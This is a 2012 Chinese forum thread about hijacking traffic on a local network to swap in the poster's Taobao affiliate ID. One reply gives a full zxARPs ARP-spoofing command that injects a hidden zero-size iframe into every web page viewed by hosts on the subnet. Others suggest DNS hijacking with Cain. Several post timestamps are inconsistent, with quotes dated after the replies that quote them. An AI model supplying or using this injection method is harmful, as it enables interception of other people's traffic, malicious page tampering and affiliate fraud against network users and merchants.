可不可以替换局域网内的淘宝客ID?

fated · 发表于 2012-12-5 13:14:00

来个高手入侵大型局域网。。。。

金关村村长 · 发表于 2012-12-5 17:54:54

ARP欺骗，将淘宝的地址替换成带淘宝客的链接

riskstar · 发表于 2012-12-5 15:57:00

zxARPs，是一个通过ARP欺骗实现局域网挂马的工具。在使用zxARPs前我们要安装WinPcap，它是网络底层驱动包，没有它zxARPs就运行不了。
安装好后将zxARPs放到任意目录，然后运行“命令提示符”，进入zxARPs所在的目录，然后输入命令：zxARPs.exe -idx 0 -ip 192.168.0.1-192.168.0.255 -port 80 -insert "＜iframe src='淘宝客链接' width=0 height=0＞"。回车后挂马就成功了。
从现在开始，局域网中的用户无论访问什么网站，都会运行我们的淘宝客，因为zxARPs在用户打开网页的同时已经将淘宝客代码插入到正常网页中了

riskstar · 发表于 2012-12-5 18:47:16

riskstar 发表于 2012-12-6 08:23

zxARPs，是一个通过ARP欺骗实现局域网挂马的工具。在使用zxARPs前我们要安装WinPcap，它是网络底层驱动包， ...
流弊~~~~~~~~~~~！！！！！

joyanhui · 发表于 2012-12-5 19:00:16

看看

dalky · 发表于 2012-12-5 19:02:23

riskstar 发表于 2012-12-6 08:23

zxARPs，是一个通过ARP欺骗实现局域网挂马的工具。在使用zxARPs前我们要安装WinPcap，它是网络底层驱动包， ...
能否在路由器镜像端口做？

dalky · 发表于 2012-12-5 19:28:11

dalky 发表于 2012-12-6 11:37

能否在路由器镜像端口做？
镜像端口只是复制一份被镜像端口的数据，无法通过端口镜像实现劫持。
另一种思路是DNS劫持
riskstar 发表于 2012-12-6 13:14

镜像端口只是复制一份被镜像端口的数据，无法通过端口镜像实现劫持。
另一种思路是DNS劫持 ...
dns如何劫持？局域网内有自己的dns

riskstardalky · 发表于 2012-12-5 19:02:00

如果有那种行为控制的路由器就可以

shadowmega · 发表于 2012-12-5 19:02:45

dalky 发表于 2012-12-7 10:17

dns如何劫持？局域网内有自己的dns
百度一下"Cain DNS劫持"

		自动登录	找回密码
密码			立即注册